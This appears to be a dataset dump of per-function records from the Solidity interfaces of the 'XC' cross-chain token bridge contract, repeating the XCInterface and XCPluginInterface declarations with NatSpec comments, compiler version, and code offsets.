interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
getXCPlugin
function getXCPlugin() external view returns (address);
/** * Get the XCPlugin contract address. * @return contract address. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1465, 1525 ] }
59,295
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
lock
function lock(address toAccount, uint value) external;
/** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1670, 1729 ] }
59,296
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
unlock
function unlock(string txid, address fromAccount, address toAccount, uint value) external;
/** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1956, 2051 ] }
59,297
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
withdraw
function withdraw(address account, uint value) external;
/** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 2254, 2315 ] }
59,298
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
start
function start() external;
/** * Open the contract service status. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 93, 124 ] }
59,299
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
stop
function stop() external;
/** * Close the contract service status. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 188, 218 ] }
59,300
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getStatus
function getStatus() external view returns (bool);
/** * Get contract service status. * @return contract service status. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 317, 372 ] }
59,301
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getPlatformName
function getPlatformName() external view returns (bytes32);
/** * Get the current contract platform name. * @return contract platform name. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 481, 545 ] }
59,302
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
setAdmin
function setAdmin(address account) external;
/** * Set the current contract administrator. * @param account account of contract administrator. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 672, 721 ] }
59,303
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getAdmin
function getAdmin() external view returns (address);
/** * Get the current contract administrator. * @return contract administrator. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 830, 887 ] }
59,304
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
getTokenSymbol
function getTokenSymbol() external view returns (bytes32);
/** * Get the current token symbol. * @return token symbol. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 976, 1039 ] }
59,305
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
interface XCPluginInterface { /** * Open the contract service status. */ function start() external; /** * Close the contract service status. */ function stop() external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (bool); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Get the current token symbol. * @return token symbol. */ function getTokenSymbol() external view returns (bytes32); /** * Add a contract trust caller. * @param caller account of caller. */ function addCaller(address caller) external; /** * Delete a contract trust caller. * @param caller account of caller. */ function deleteCaller(address caller) external; /** * Whether the trust caller exists. * @param caller account of caller. * @return whether exists. */ function existCaller(address caller) external view returns (bool); /** * Get all contract trusted callers. * @return al lcallers. */ function getCallers() external view returns (address[]); /** * Get the trusted platform name. * @return name a platform name. */ function getTrustPlatform() external view returns (bytes32 name); /** * Add the trusted platform public key information. * @param publicKey a public key. */ function addPublicKey(address publicKey) external; /** * Delete the trusted platform public key information. * @param publicKey a public key. */ function deletePublicKey(address publicKey) external; /** * Whether the trusted platform public key information exists. * @param publicKey a public key. */ function existPublicKey(address publicKey) external view returns (bool); /** * Get the count of public key for the trusted platform. * @return count of public key. */ function countOfPublicKey() external view returns (uint); /** * Get the list of public key for the trusted platform. * @return list of public key. */ function publicKeys() external view returns (address[]); /** * Set the weight of a trusted platform. * @param weight weight of platform. */ function setWeight(uint weight) external; /** * Get the weight of a trusted platform. * @return weight of platform. */ function getWeight() external view returns (uint); /** * Initiate and vote on the transaction proposal. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. * @param sig transaction signature. */ function voteProposal(address fromAccount, address toAccount, uint value, string txid, bytes sig) external; /** * Verify that the transaction proposal is valid. * @param fromAccount name of to platform. * @param toAccount account of to platform. * @param value transfer amount. * @param txid transaction id. */ function verifyProposal(address fromAccount, address toAccount, uint value, string txid) external view returns (bool, bool); /** * Commit the transaction proposal. * @param txid transaction id. */ function commitProposal(string txid) external returns (bool); /** * Get the transaction proposal information. * @param txid transaction id. * @return status completion status of proposal. * @return fromAccount account of to platform. * @return toAccount account of to platform. * @return value transfer amount. * @return voters notarial voters. * @return weight The weight value of the completed time. */ function getProposal(string txid) external view returns (bool status, address fromAccount, address toAccount, uint value, address[] voters, uint weight); /** * Delete the transaction proposal information. * @param txid transaction id. */ function deleteProposal(string txid) external; }
/** * XC Plugin Contract Interface. */
NatSpecMultiLine
addCaller
function addCaller(address caller) external;
/** * Add a contract trust caller. * @param caller account of caller. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1138, 1187 ] }
59,306
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCPluginInterface
